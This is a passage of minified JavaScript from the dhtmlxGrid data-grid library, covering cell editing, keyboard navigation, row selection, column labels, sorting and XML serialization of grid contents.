t=this.editor.val;this.editor.detach();this.editor.setValue(t);this.editor=null;this.callEvent(\"onEditCancel\",[this.row.idd,this.cell._cellIndex,t]);return}if(this.editor.detach()){this.cell.wasChanged=true}var g=this.editor;if(g==null){return}this.editor=null;var z=this.callEvent(\"onEditCell\",[2,this.row.idd,this.cell._cellIndex,g.getValue(),g.val]);if((typeof(z)==\"string\")||(typeof(z)==\"number\")){g[g.setImage?\"setLabel\":\"setValue\"](z)}else{if(!z){g[g.setImage?\"setLabel\":\"setValue\"](g.val)}}if(this._ahgr&&this.multiLine){this.setSizes()}}};this._nextRowCell=function(row,dir,pos){row=this._nextRow((this._groups?this.rowsCol:this.rowsBuffer)._dhx_find(row),dir);if(!row){return null}return row.childNodes[row._childIndexes?row._childIndexes[pos]:pos]};this._getNextCell=function(acell,dir,i){acell=acell||this.cell;var arow=acell.parentNode;if(this._tabOrder){i=this._tabOrder[acell._cellIndex];if(typeof i!=\"undefined\"){if(i<0){acell=this._nextRowCell(arow,dir,Math.abs(i)-1)}else{acell=arow.childNodes[i]}}}else{var i=acell._cellIndex+dir;if(i>=0&&i<this._cCount){if(arow._childIndexes){i=arow._childIndexes[acell._cellIndex]+dir}acell=arow.childNodes[i]}else{acell=this._nextRowCell(arow,dir,(dir==1?0:(this._cCount-1)))}}if(!acell){if((dir==1)&&this.tabEnd){this.tabEnd.focus();this.tabEnd.focus();this.setActive(false)}if((dir==-1)&&this.tabStart){this.tabStart.focus();this.tabStart.focus();this.setActive(false)}return null}if(acell.style.display!=\"none\"&&(!this.smartTabOrder||!this.cells(acell.parentNode.idd,acell._cellIndex).isDisabled())){return acell}return this._getNextCell(acell,dir)};this._nextRow=function(ind,dir){var r=this.render_row(ind+dir);if(!r||r==-1){return null}if(r&&r.style.display==\"none\"){return this._nextRow(ind+dir,dir)}return r};this.scrollPage=function(dir){if(!this.rowsBuffer.length){return}var master=this._realfake?this._fake:this;var new_ind=Math.floor((master._r_select||this.getRowIndex(this.row.idd)||0)+(dir)*this.objBox.offsetHeight/(this._srdh||20));if(new_ind<0){new_ind=0}if(new_ind>=this.rowsBuffer.length){new_ind=this.rowsBuffer.length-1}if(this._srnd&&!this.rowsBuffer[new_ind]){this.objBox.scrollTop+=Math.floor((dir)*this.objBox.offsetHeight/(this._srdh||20))*(this._srdh||20);if(this._fake){this._fake.objBox.scrollTop=this.objBox.scrollTop}master._r_select=new_ind}else{this.selectCell(new_ind,this.cell._cellIndex,true,false,false,(this.multiLine||this._srnd));if(!this.multiLine&&!this._srnd&&!this._realfake){this.objBox.scrollTop=this.getRowById(this.getRowId(new_ind)).offsetTop;if(this._fake){this._fake.objBox.scrollTop=this.objBox.scrollTop}}master._r_select=null}};this.doKey=function(ev){if(!ev){return true}if((ev.target||ev.srcElement).value!==window.undefined){var zx=(ev.target||ev.srcElement);if(zx.className!=\"dhxcombo_input\"&&((!zx.parentNode)||(zx.parentNode.className.indexOf(\"editable\")==-1))){return true}}if((globalActiveDHTMLGridObject)&&(this!=globalActiveDHTMLGridObject)){return globalActiveDHTMLGridObject.doKey(ev)}if(this.isActive==false){return true}if(this._htkebl){return true}if(!this.callEvent(\"onKeyPress\",[ev.keyCode,ev.ctrlKey,ev.shiftKey,ev])){return false}var code=\"k\"+ev.keyCode+\"_\"+(ev.ctrlKey?1:0)+\"_\"+(ev.shiftKey?1:0);if(this.cell){if(this._key_events[code]){if(false===this._key_events[code].call(this)){return true}if(ev.preventDefault){ev.preventDefault()}ev.cancelBubble=true;return false}if(this._key_events.k_other){this._key_events.k_other.call(this,ev)}}return true};this.selectRow=function(r,fl,preserve,show){if(typeof(r)!=\"object\"){r=this.render_row(r)}this.selectCell(r,0,fl,preserve,false,show)};this.wasDblClicked=function(ev){var el=this.getFirstParentOfType(_isIE?ev.srcElement:ev.target,\"TD\");if(el){var rowId=el.parentNode.idd;return this.callEvent(\"onRowDblClicked\",[rowId,el._cellIndex,ev])}};this._onHeaderClick=function(e,el){var that=this.grid;el=el||that.getFirstParentOfType(_isIE?event.srcElement:e.target,\"TD\");if(this.grid.resized==null){if(!(this.grid.callEvent(\"onHeaderClick\",[el._cellIndexS,(e||window.event)]))){return false}that.sortField(el._cellIndexS,false,el)}this.grid.resized=null};this.deleteSelectedRows=function(){var num=this.selectedRows.length;if(num==0){return}var tmpAr=this.selectedRows;this.selectedRows=dhtmlxArray();for(var i=num-1;i>=0;i--){var node=tmpAr[i];if(!this.deleteRow(node.idd,node)){this.selectedRows[this.selectedRows.length]=node}else{if(node==this.row){var ind=i}}}if(ind){try{if(ind+1>this.rowsCol.length){ind--}this.selectCell(ind,0,true)}catch(er){this.row=null;this.cell=null}}};this.getSelectedRowId=function(){var selAr=new Array(0);var uni={};for(var i=0;i<this.selectedRows.length;i++){var id=this.selectedRows[i].idd;if(uni[id]){continue}selAr[selAr.length]=id;uni[id]=true}if(selAr.length==0){return null}else{return selAr.join(this.delim)}};this.getSelectedCellIndex=function(){if(this.cell!=null){return this.cell._cellIndex}else{return -1}};this.getColWidth=function(ind){return parseInt(this.cellWidthPX[ind])};this.setColWidth=function(ind,value){if(value==\"*\"){this.initCellWidth[ind]=\"*\"}else{if(this._hrrar[ind]){return}if(this.cellWidthType==\"px\"){this.cellWidthPX[ind]=parseInt(value)}else{this.cellWidthPC[ind]=parseInt(value)}}this.setSizes()};this.getRowIndex=function(row_id){for(var i=0;i<this.rowsBuffer.length;i++){if(this.rowsBuffer[i]&&this.rowsBuffer[i].idd==row_id){return i}}return -1};this.getRowId=function(ind){return this.rowsBuffer[ind]?this.rowsBuffer[ind].idd:this.undefined};this.setRowId=function(ind,row_id){this.changeRowId(this.getRowId(ind),row_id)};this.changeRowId=function(oldRowId,newRowId){if(oldRowId==newRowId){return}var row=this.rowsAr[oldRowId];row.idd=newRowId;if(this.UserData[oldRowId]){this.UserData[newRowId]=this.UserData[oldRowId];this.UserData[oldRowId]=null}if(this._h2&&this._h2.get[oldRowId]){this._h2.get[newRowId]=this._h2.get[oldRowId];this._h2.get[newRowId].id=newRowId;delete this._h2.get[oldRowId]}this.rowsAr[oldRowId]=null;this.rowsAr[newRowId]=row;for(var i=0;i<row.childNodes.length;i++){if(row.childNodes[i]._code){row.childNodes[i]._code=this._compileSCL(row.childNodes[i]._val,row.childNodes[i])}}if(this._mat_links&&this._mat_links[oldRowId]){var a=this._mat_links[oldRowId];delete this._mat_links[oldRowId];for(var c in a){for(var i=0;i<a[c].length;i++){this._compileSCL(a[c][i].original,a[c][i])}}}this.callEvent(\"onRowIdChange\",[oldRowId,newRowId])};this.setColumnIds=function(ids){this.columnIds=ids.split(this.delim)};this.setColumnId=function(ind,id){this.columnIds[ind]=id};this.getColIndexById=function(id){for(var i=0;i<this.columnIds.length;i++){if(this.columnIds[i]==id){return i}}};this.getColumnId=function(cin){return this.columnIds[cin]};this.getColumnLabel=function(cin,ind,hdr){var z=(hdr||this.hdr).rows[(ind||0)+1];for(var i=0;i<z.cells.length;i++){if(z.cells[i]._cellIndexS==cin){return(_isIE?z.cells[i].innerText:z.cells[i].textContent)}}return\"\"};this.getColLabel=this.getColumnLabel;this.getFooterLabel=function(cin,ind){return this.getColumnLabel(cin,ind,this.ftr)};this.setRowTextBold=function(row_id){var r=this.getRowById(row_id);if(r){r.style.fontWeight=\"bold\"}};this.setRowTextStyle=function(row_id,styleString){var r=this.getRowById(row_id);if(!r){return}for(var i=0;i<r.childNodes.length;i++){var pfix=r.childNodes[i]._attrs.style||\"\";if((this._hrrar)&&(this._hrrar[i])){pfix=\"display:none;\"}if(_isIE){r.childNodes[i].style.cssText=pfix+\"width:\"+r.childNodes[i].style.width+\";\"+styleString}else{r.childNodes[i].style.cssText=pfix+\"width:\"+r.childNodes[i].style.width+\";\"+styleString}}};this.setRowColor=function(row_id,color){var r=this.getRowById(row_id);for(var i=0;i<r.childNodes.length;i++){r.childNodes[i].bgColor=color}};this.setCellTextStyle=function(row_id,ind,styleString){var r=this.getRowById(row_id);if(!r){return}var cell=r.childNodes[r._childIndexes?r._childIndexes[ind]:ind];if(!cell){return}var pfix=\"\";if((this._hrrar)&&(this._hrrar[ind])){pfix=\"display:none;\"}if(_isIE){cell.style.cssText=pfix+\"width:\"+cell.style.width+\";\"+styleString}else{cell.style.cssText=pfix+\"width:\"+cell.style.width+\";\"+styleString}};this.setRowTextNormal=function(row_id){var r=this.getRowById(row_id);if(r){r.style.fontWeight=\"normal\"}};this.doesRowExist=function(row_id){if(this.getRowById(row_id)!=null){return true}else{return false}};this.getColumnsNum=function(){return this._cCount};this.moveRowUp=function(row_id){var r=this.getRowById(row_id);if(this.isTreeGrid()){return this.moveRowUDTG(row_id,-1)}var rInd=this.rowsCol._dhx_find(r);if((r.previousSibling)&&(rInd!=0)){r.parentNode.insertBefore(r,r.previousSibling);this.rowsCol._dhx_swapItems(rInd,rInd-1);this.setSizes();var bInd=this.rowsBuffer._dhx_find(r);this.rowsBuffer._dhx_swapItems(bInd,bInd-1);if(this._cssEven){this._fixAlterCss(rInd-1)}}};this.moveRowDown=function(row_id){var r=this.getRowById(row_id);if(this.isTreeGrid()){return this.moveRowUDTG(row_id,1)}var rInd=this.rowsCol._dhx_find(r);if(r.nextSibling){this.rowsCol._dhx_swapItems(rInd,rInd+1);if(r.nextSibling.nextSibling){r.parentNode.insertBefore(r,r.nextSibling.nextSibling)}else{r.parentNode.appendChild(r)}this.setSizes();var bInd=this.rowsBuffer._dhx_find(r);this.rowsBuffer._dhx_swapItems(bInd,bInd+1);if(this._cssEven){this._fixAlterCss(rInd)}}};this.getCombo=function(col_ind){if(!this.combos[col_ind]){this.combos[col_ind]=new dhtmlXGridComboObject()}return this.combos[col_ind]};this.setUserData=function(row_id,name,value){if(!row_id){row_id=\"gridglobaluserdata\"}if(!this.UserData[row_id]){this.UserData[row_id]=new Hashtable()}this.UserData[row_id].put(name,value)};this.getUserData=function(row_id,name){if(!row_id){row_id=\"gridglobaluserdata\"}this.getRowById(row_id);var z=this.UserData[row_id];return(z?z.get(name):\"\")};this.setEditable=function(fl){this.isEditable=dhx4.s2b(fl)};this.selectRowById=function(row_id,multiFL,show,call){if(!call){call=false}this.selectCell(this.getRowById(row_id),0,call,multiFL,false,show)};this.clearSelection=function(){this.editStop();for(var i=0;i<this.selectedRows.length;i++){var r=this.rowsAr[this.selectedRows[i].idd];if(r){r.className=r.className.replace(/rowselected/g,\"\")}}this.selectedRows=dhtmlxArray();this.row=null;if(this.cell!=null){this.cell.className=this.cell.className.replace(/cellselected/g,\"\");this.cell=null}this.callEvent(\"onSelectionCleared\",[])};this.copyRowContent=function(from_row_id,to_row_id){var frRow=this.getRowById(from_row_id);if(!this.isTreeGrid()){for(var i=0;i<frRow.cells.length;i++){this.cells(to_row_id,i).setValue(this.cells(from_row_id,i).getValue())}}else{this._copyTreeGridRowContent(frRow,from_row_id,to_row_id)}if(!_isIE){this.getRowById(from_row_id).cells[0].height=frRow.cells[0].offsetHeight}};this.setFooterLabel=function(c,label,ind){return this.setColumnLabel(c,label,ind,this.ftr)};this.setColumnLabel=function(c,label,ind,hdr){var z=(hdr||this.hdr).rows[ind||1];var col=(z._childIndexes?z._childIndexes[c]:c);if(!z.cells[col]){return}if(!this.useImagesInHeader){var hdrHTML=\"<div class='hdrcell'>\";if(label.indexOf(\"img:[\")!=-1){var imUrl=label.replace(/.*\\[([^>]+)\\].*/,\"$1\");label=label.substr(label.indexOf(\"]\")+1,label.length);hdrHTML+=\"<img width='18px' height='18px' align='absmiddle' src='\"+imUrl+\"' hspace='2'>\"}hdrHTML+=label;hdrHTML+=\"</div>\";z.cells[col].innerHTML=hdrHTML;if(this._hstyles[col]){z.cells[col].style.cssText=this._hstyles[col]}}else{z.cells[col].style.textAlign=\"left\";z.cells[col].innerHTML=\"<img src='\"+label+\"'>\";var a=new Image();a.src=\"\"+label.replace(/(\\.[a-z]+)/,\".des$1\");this.preloadImagesAr[this.preloadImagesAr.length]=a;var b=new Image();b.src=\"\"+label.replace(/(\\.[a-z]+)/,\".asc$1\");this.preloadImagesAr[this.preloadImagesAr.length]=b}if((label||\"\").indexOf(\"#\")!=-1){var t=label.match(/(^|{)#([^}]+)(}|$)/);if(t){var tn=\"_in_header_\"+t[2];if(this[tn]){this[tn]((this.forceDivInHeader?z.cells[col].firstChild:z.cells[col]),col,label.split(t[0]))}}}};this.setColLabel=function(a,b,ind,c){return this.setColumnLabel(a,b,(ind||0)+1,c)};this.clearAll=function(header){if(!this.obj.rows[0]){return}if(this._h2){this._h2=this._createHierarchy();if(this._fake){if(this._realfake){this._h2=this._fake._h2}else{this._fake._h2=this._h2}}}this.limit=this._limitC=0;this.editStop(true);if(this._dLoadTimer){window.clearTimeout(this._dLoadTimer)}if(this._dload){this.objBox.scrollTop=0;this.limit=this._limitC||0;this._initDrF=true}var len=this.rowsCol.length;len=this.obj.rows.length;for(var i=len-1;i>0;i--){var t_r=this.obj.rows[i];t_r.parentNode.removeChild(t_r)}if(header){this._master_row=null;this.obj.rows[0].parentNode.removeChild(this.obj.rows[0]);for(var i=this.hdr.rows.length-1;i>=0;i--){var t_r=this.hdr.rows[i];t_r.parentNode.removeChild(t_r)}if(this.ftr){this.ftr.parentNode.removeChild(this.ftr);this.ftr=null}this._aHead=this.ftr=this.cellWidth=this._aFoot=null;this.cellType=dhtmlxArray();this._hrrar=[];this.columnIds=[];this.combos=[];this._strangeParams=[];this.defVal=[];this._ivizcol=null}this.row=null;this.cell=null;this.rowsCol=dhtmlxArray();this.rowsAr={};this._RaSeCol=[];this.rowsBuffer=dhtmlxArray();this.UserData=[];this.selectedRows=dhtmlxArray();if(this.pagingOn||this._srnd){this.xmlFileUrl=\"\"}if(this.pagingOn){this.changePage(1)}if(this._contextCallTimer){window.clearTimeout(this._contextCallTimer)}if(this._sst){this.enableStableSorting(true)}this._fillers=this.undefined;this.setSortImgState(false);this.setSizes();this.callEvent(\"onClearAll\",[])};this.sortField=function(ind,repeatFl,r_el){if(this.getRowsNum()==0){return false}var el=this.hdr.rows[0].cells[ind];if(!el){return}if(el.tagName==\"TH\"&&(this.fldSort.length-1)>=el._cellIndex&&this.fldSort[el._cellIndex]!=\"na\"){var data=this.getSortingState();var sortType=(data[0]==ind&&data[1]==\"asc\")?\"des\":\"asc\";if(!this.callEvent(\"onBeforeSorting\",[ind,this.fldSort[ind],sortType])){return}this.sortImg.className=\"dhxgrid_sort_\"+(sortType==\"asc\"?\"asc\":\"desc\");if(this.useImagesInHeader){var cel=this.hdr.rows[1].cells[el._cellIndex].firstChild;if(this.fldSorted!=null){var celT=this.hdr.rows[1].cells[this.fldSorted._cellIndex].firstChild;celT.src=celT.src.replace(/(\\.asc\\.)|(\\.des\\.)/,\".\")}cel.src=cel.src.replace(/(\\.[a-z]+)$/,\".\"+sortType+\"$1\")}this.sortRows(el._cellIndex,this.fldSort[el._cellIndex],sortType);this.fldSorted=el;this.r_fldSorted=r_el;var c=this.hdr.rows[1];var c=r_el.parentNode;var real_el=c._childIndexes?c._childIndexes[el._cellIndex]:el._cellIndex;this.setSortImgPos(false,false,false,r_el)}};this.setCustomSorting=function(func,col){if(!this._customSorts){this._customSorts=new Array()}this._customSorts[col]=(typeof(func)==\"string\")?eval(func):func;this.fldSort[col]=\"cus\"};this.enableHeaderImages=function(fl){this.useImagesInHeader=fl};this.setHeader=function(hdrStr,splitSign,styles){if(typeof(hdrStr)!=\"object\"){var arLab=this._eSplit(hdrStr)}else{arLab=[].concat(hdrStr)}var arWdth=new Array(0);var arTyp=new dhtmlxArray(0);var arAlg=new Array(0);var arVAlg=new Array(0);var arSrt=new Array(0);for(var i=0;i<arLab.length;i++){arWdth[arWdth.length]=Math.round(100/arLab.length);arTyp[arTyp.length]=\"ed\";arAlg[arAlg.length]=\"left\";arVAlg[arVAlg.length]=\"middle\";arSrt[arSrt.length]=\"na\"}this.splitSign=splitSign||\"#cspan\";this.hdrLabels=arLab;this.cellWidth=arWdth;if(!this.initCellWidth.length){this.setInitWidthsP(arWdth.join(this.delim),true)}this.cellType=arTyp;this.cellAlign=arAlg;this.cellVAlign=arVAlg;this.fldSort=arSrt;this._hstyles=styles||[]};this._eSplit=function(str){if(![].push){return str.split(this.delim)}var a=\"r\"+(new Date()).valueOf();var z=this.delim.replace(/([\\|\\+\\*\\^])/g,\"\\\\$1\");return(str||\"\").replace(RegExp(z,\"g\"),a).replace(RegExp(\"\\\\\\\\\"+a,\"g\"),this.delim).split(a)};this.getColType=function(cInd){return this.cellType[cInd]};this.getColTypeById=function(cID){return this.cellType[this.getColIndexById(cID)]};this.setColTypes=function(typeStr){this.cellType=dhtmlxArray(typeStr.split(this.delim));this._strangeParams=new Array();for(var i=0;i<this.cellType.length;i++){if((this.cellType[i].indexOf(\"[\")!=-1)){var z=this.cellType[i].split(/[\\[\\]]+/g);this.cellType[i]=z[0];this.defVal[i]=z[1];if(z[1].indexOf(\"=\")==0){this.cellType[i]=\"math\";this._strangeParams[i]=z[0]}}if(!window[\"eXcell_\"+this.cellType[i]]){dhx4.callEvent(\"onConfigurationError\",[\"Incorrect cell type: \"+this.cellType[i],this,this.cellType[i]])}}};this.setColSorting=function(sortStr){this.fldSort=sortStr.split(this.delim);var check={str:1,\"int\":1,date:1};for(var i=0;i<this.fldSort.length;i++){if((!check[this.fldSort[i]])&&(typeof(window[this.fldSort[i]])==\"function\")){if(!this._customSorts){this._customSorts=new Array()}this._customSorts[i]=window[this.fldSort[i]];this.fldSort[i]=\"cus\"}}};this.setColAlign=function(alStr){this.cellAlign=alStr.split(this.delim);for(var i=0;i<this.cellAlign.length;i++){this.cellAlign[i]=this.cellAlign[i]._dhx_trim()}};this.setColVAlign=function(valStr){this.cellVAlign=valStr.split(this.delim)};this.setNoHeader=function(fl){this.noHeader=dhx4.s2b(fl)};this.showRow=function(rowID){this.getRowById(rowID);if(this._h2){this.openItem(this._h2.get[rowID].parent.id)}var c=this.getRowById(rowID).childNodes[0];while(c&&c.style.display==\"none\"){c=c.nextSibling}if(c){this.moveToVisible(c,true)}};this.setStyle=function(ss_header,ss_grid,ss_selCell,ss_selRow){this.ssModifier=[ss_header,ss_grid,ss_selCell,ss_selCell,ss_selRow];var prefs=[\"#\"+this.entBox.id+\" table.hdr td\",\"#\"+this.entBox.id+\" table.obj td\",\"#\"+this.entBox.id+\" table.obj tr.rowselected td.cellselected\",\"#\"+this.entBox.id+\" table.obj td.cellselected\",\"#\"+this.entBox.id+\" table.obj tr.rowselected td\"];var index=0;while(!_isIE){try{var temp=document.styleSheets[index].cssRules.length}catch(e){index++;continue}break}for(var i=0;i<prefs.length;i++){if(this.ssModifier[i]){if(_isIE){document.styleSheets[0].addRule(prefs[i],this.ssModifier[i])}else{document.styleSheets[index].insertRule(prefs[i]+(\" { \"+this.ssModifier[i]+\" }\"),document.styleSheets[index].cssRules.length)}}}};this.setColumnColor=function(clr){this.columnColor=clr.split(this.delim)};this.enableAlterCss=function(cssE,cssU,perLevel,levelUnique){if(cssE||cssU){this.attachEvent(\"onGridReconstructed\",function(){this._fixAlterCss();if(this._fake){this._fake._fixAlterCss()}})}this._cssSP=perLevel;this._cssSU=levelUnique;this._cssEven=cssE;this._cssUnEven=cssU};this._fixAlterCss=function(ind){if(this._h2&&(this._cssSP||this._cssSU)){return this._fixAlterCssTGR(ind)}if(!this._cssEven&&!this._cssUnEven){return}ind=ind||0;var j=ind;for(var i=ind;i<this.rowsCol.length;i++){if(!this.rowsCol[i]){continue}if(this.rowsCol[i].style.display!=\"none\"){if(this.rowsCol[i]._cntr){j=1;continue}if(this.rowsCol[i].className.indexOf(\"rowselected\")!=-1){if(j%2==1){this.rowsCol[i].className=this._cssUnEven+\" rowselected \"+(this.rowsCol[i]._css||\"\")}else{this.rowsCol[i].className=this._cssEven+\" rowselected \"+(this.rowsCol[i]._css||\"\")}}else{if(j%2==1){this.rowsCol[i].className=this._cssUnEven+\" \"+(this.rowsCol[i]._css||\"\")}else{this.rowsCol[i].className=this._cssEven+\" \"+(this.rowsCol[i]._css||\"\")}}j++}}};this.clearChangedState=function(){for(var i=0;i<this.rowsCol.length;i++){var row=this.rowsCol[i];if(row&&row.childNodes){var cols=row.childNodes.length;for(var j=0;j<cols;j++){row.childNodes[j].wasChanged=false}}}};this.getChangedRows=function(and_added){var res=new Array();this.forEachRow(function(id){var row=this.rowsAr[id];if(row.tagName!=\"TR\"){return}var cols=row.childNodes.length;if(and_added&&row._added){res[res.length]=row.idd}else{for(var j=0;j<cols;j++){if(row.childNodes[j].wasChanged){res[res.length]=row.idd;break}}}});return res.join(this.delim)};this._sUDa=false;this._sAll=false;this.setSerializationLevel=function(userData,fullXML,config,changedAttr,onlyChanged,asCDATA){this._sUDa=userData;this._sAll=fullXML;this._sConfig=config;this._chAttr=changedAttr;this._onlChAttr=onlyChanged;this._asCDATA=asCDATA};this.setSerializableColumns=function(list){if(!list){this._srClmn=null;return}this._srClmn=(list||\"\").split(\",\");for(var i=0;i<this._srClmn.length;i++){this._srClmn[i]=dhx4.s2b(this._srClmn[i])}};this._serialise=function(rCol,inner,closed){this.editStop();var out=[];var close=\"</\"+this.xml.s_row+\">\";if(this.isTreeGrid()){this._h2.forEachChildF(0,function(el){var temp=this._serializeRow(this.render_row_tree(-1,el.id));out.push(temp);if(temp){return true}else{return false}},this,function(){out.push(close)})}else{for(var i=0;i<this.rowsBuffer.length;i++){if(this.rowsBuffer[i]){if(this._chAttr&&this.rowsBuffer[i]._locator){continue}var temp=this._serializeRow(this.render_row(i));out.push(temp);if(temp){out.push(close)}}}}return[out.join(\"\")]};this._serializeRow=function(r,i){var out=[];var ra=this.xml.row_attrs;var ca=this.xml.cell_attrs;out.push(\"<\"+this.xml.s_row);out.push(\" id='\"+r.idd+\"'\");if((this._sAll)&&this.selectedRows._dhx_find(r)!=-1){out.push(\" selected='1'\")}if(this._h2&&this._h2.get[r.idd].state==\"minus\"){out.push(\" open='1'\")}if(ra.length){for(var i=0;i<ra.length;i++){out.push(\" \"+ra[i]+\"='\"+r._attrs[ra[i]]+\"'\")}}out.push(\">\");if(this._sUDa&&this.UserData[r.idd]){keysAr=this.UserData[r.idd].getKeys();for(var ii=0;ii<keysAr.length;ii++){out.push(\"<userdata name='\"+keysAr[ii]+\"'>\"+(this._asCDATA?\"<![CDATA[\":\"\")+this.UserData[r.idd].get(keysAr[ii])+(this._asCDATA?\"]]>\":\"\")+\"</userdata>\")}}var changeFl=false;for(var jj=0;jj<this._cCount;jj++){if((!this._srClmn)||(this._srClmn[jj])){var zx=this.cells3(r,jj);out.push(\"<cell\");if(ca.length){for(var i=0;i<ca.length;i++){out.push(\" \"+ca[i]+\"='\"+zx.cell._attrs[ca[i]]+\"'\")}}zxVal=zx[this._agetm]();if(this._asCDATA){zxVal=\"<![CDATA[\"+zxVal+\"]]>\"}if((this._ecspn)&&(zx.cell.colSpan)&&zx.cell.colSpan>1){out.push(' colspan=\"'+zx.cell.colSpan+'\" ')}if(this._chAttr){if(zx.wasChanged()){out.push(' changed=\"1\"');changeFl=true}}else{if((this._onlChAttr)&&(zx.wasChanged())){changeFl=true}}if(this._sAll&&this.cellType[jj]==\"tree\"){out.push((this._h2?(\" image='\"+this._h2.get[r.idd].image+\"'\"):\"\")+\">\"+zxVal+\"</cell>\")}else{out.push(\">\"+zxVal+\"</cell>\")}if((this._ecspn)&&(zx.cell.colSpan)){for(var u=0;u<zx.cell.colSpan-1;u++){out.push(\"<cell/>\");jj++}}}}if((this._onlChAttr)&&(!changeFl)&&(!r._added)){return\"\"}return out.join(\"\")};this._serialiseConfig=function(){var out=\"<head>\";for(var i=0;i<this.hdr.rows[0].cells.length;i++){if(this._srClmn&&!this._srClmn[i]){continue}var sort=this.fldSort[i];if(sort==\"cus\"){sort=this._customSorts[i].toString();sort=sort.replace(/function[\\ ]*/,\"\").replace(/\\([^\\f]*/,\"\")}out+=\"<column width='\"+this.getColWidth(i)+\"' align='\"+this.cellAlign[i]+\"' type='\"+this.cellType[i]+\"' sort='\"+(sort||\"na\")+\"' color='\"+(this.columnColor[i]||\"\")+\"'\"+(this.columnIds[i]?(\" id='\"+this.columnIds[i]+\"'\"):\"\")+\">\";if(this._asCDATA){out+=\"<![CDATA[\"+this.getColumnLabel(i)+\"]]>\"}else{out+=this.getColumnLabel(i)}var z=this.getCombo(i);if(z){for(var j=0;j<z.keys.length;j++){out+=\"<option value='\"+z.keys[j]+\"'>\"+z.values[j]+\"</option>\"}}out+=\"</column>\"}return out+=\"</head>\"};this.serialize=function(){var out='<?xml version=\"1.0\"?><rows>';if(this._mathSerialization){this._agetm=\"getMathValue\"}else{this._agetm=\"getValue\"}if(this._sUDa&&this.UserData.gridglobaluserdata){var keysAr=this.UserData.gridglobaluserdata.getKeys();for(var i=0;i<keysAr.length;i++){out+=\"<userdata name='\"+keysAr[i]+\"'>\"+this.UserData.gridglobaluserdata.get(keysAr[i])+\"</userdata>\"}}if(this._sConfig){out+=this._serialiseConfig()}out+=this._serialise();out+=\"</rows>\";return out};this.getPosition=function(oNode,pNode){if(!pNode){var pos=dhx4.getOffset(oNode);return[pos.left,pos.top]}pNode=pNode||document.body;var oCurrentNode=oNode;var iLeft=0;var iTop=0;while((oCurrentNode)&&(oCurrentNode!=pNode)){iLeft+=oCurrentNode.offsetLeft-oCurrentNode.scrollLeft;iTop+=oCurrentNode.offsetTop-oCurrentNode.scrollTop;oCurrentNode=oCurrentNode.offsetParent}if(pNode==document.body){if(_isIE){iTop+=document.body.offsetTop||document.documentElement.offsetTop;iLeft+=document.body.offsetLeft||document.documentElement.offsetLeft}else{if(!_isFF){iLeft+=document.body.offsetLeft;iTop+=document.body.offsetTop}}}return[iLeft,iTop]};this.getFirstParentOfType=function(obj,tag){while(obj&&obj.tagName!=tag&&obj.tagName!=\"BODY\"){obj=obj.parentNode}return obj};this.objBox.onscroll=function(){this.grid._doOnScroll()};this.hdrBox.onscroll=function(){if(this._try_header_sync){return}this._try_header_sync=true;if(Math.abs(this.grid.objBox.scrollLeft-this.scrollLeft)>1){this.grid.objBox.scrollLeft=this.scrollLeft}this._try_header_sync=false};if((!_isOpera)||(_OperaRv>8.5)){this.hdr.onmousemove=function(e){this.grid.changeCursorState(e||window.event)};this.hdr.onmousedown=function(e){return this.grid.startColResize(e||window.event)}}this.obj.onmousemove=this._drawTooltip;this.objBox.onclick=function(e){e=e||event;e.cancelBubble=true;this.firstChild.grid.setActive(true);window.dhx4.callEvent(\"_onGridClick\",[e,this.firstChild.grid])};this.obj.onclick=function(e){if(this.grid._doClick(e||window.event)!==false){if(this.grid._sclE){this.grid.editCell(e||window.event)}else{this.grid.editStop()}}e=e||event;e.cancelBubble=true;window.dhx4.callEvent(\"_onGridClick\",[e,this.grid])};if(_isMacOS){this.entBox.oncontextmenu=function(e){e.cancelBubble=true;if(e.preventDefault){e.preventDefault()}else{e.returnValue=false}var that=this.grid;if(that._realfake){that=that._fake}return that._doContClick(e||window.event)}}else{this.entBox.onmousedown=function(e){return this.grid._doContClick(e||window.event)};this.entBox.oncontextmenu=function(e){if(this.grid._ctmndx){(e||event).cancelBubble=true}return !this.grid._ctmndx}}this.obj.ondblclick=function(e){if(!this.grid.wasDblClicked(e||window.event)){return false}if(this.grid._dclE){var row=this.grid.getFirstParentOfType((_isIE?event.srcElement:e.target),\"TR\");if(row==this.grid.row){this.grid.editCell(e||window.event)}}(e||event).cancelBubble=true;if(_isOpera){return false}};this.hdr.onclick=this._onHeaderClick;this.sortImg.onclick=function(){self._onHeaderClick.apply({grid:self},[null,self.r_fldSorted])};this.hdr.ondblclick=this._onHeaderDblClick;if(!document.body._dhtmlxgrid_onkeydown){dhtmlxEvent(document,\"keydown\",function(e){if(globalActiveDHTMLGridObject){return globalActiveDHTMLGridObject.doKey(e||window.event)}});document.body._dhtmlxgrid_onkeydown=true}dhtmlxEvent(document.body,\"click\",function(){if(self.editStop){self.editStop()}if(self.isActive){self.setActive(false)}});if(this.entBox.style.height.toString().indexOf(\"%\")!=-1){this._delta_y=this.entBox.style.height}if(this.entBox.style.width.toString().indexOf(\"%\")!=-1){this._delta_x=this.entBox.style.width}if(this._delta_x||this._delta_y){this._setAutoResize()}this.setColHidden=this.setColumnsVisibility;this.enableCollSpan=this.enableColSpan;this.setMultiselect=this.enableMultiselect;this.setMultiLine=this.enableMultiline;this.deleteSelectedItem=this.deleteSelectedRows;this.getSelectedId=this.getSelectedRowId;this.getHeaderCol=this.getColumnLabel;this.isItemExists=this.doesRowExist;this.getColumnCount=this.getColumnsNum;this.setSelectedRow=this.selectRowById;this.setHeaderCol=this.setColumnLabel;this.preventIECashing=this.preventIECaching;this.enableAutoHeigth=this.enableAutoHeight;this.getUID=this.uid;if(dhtmlx.image_path){this.setImagePath(dhtmlx.image_path)}if(dhtmlx.skin){this.setSkin(dhtmlx.skin)}return this}dhtmlXGridObject.prototype={getRowAttribute:function(c,a){return this.getRowById(c)._attrs[a]},setRowAttribute:function(e,a,c){this.getRowById(e)._attrs[a]=c},isTreeGrid:function(){return(this.cellType._dhx_find(\"tree\")!=-1)},setRowHidden:function(l,e){var c=dhx4.s2b(e);var h=this.getRowById(l);if(!h){return}if(h.expand===\"\"){this.collapseKids(h)}if((e)&&(h.style.display!=\"none\")){h.style.display=\"none\";var g=this.selectedRows._dhx_find(h);if(g!=-1){h.className=h.className.replace(\"rowselected\",\"\");for(var 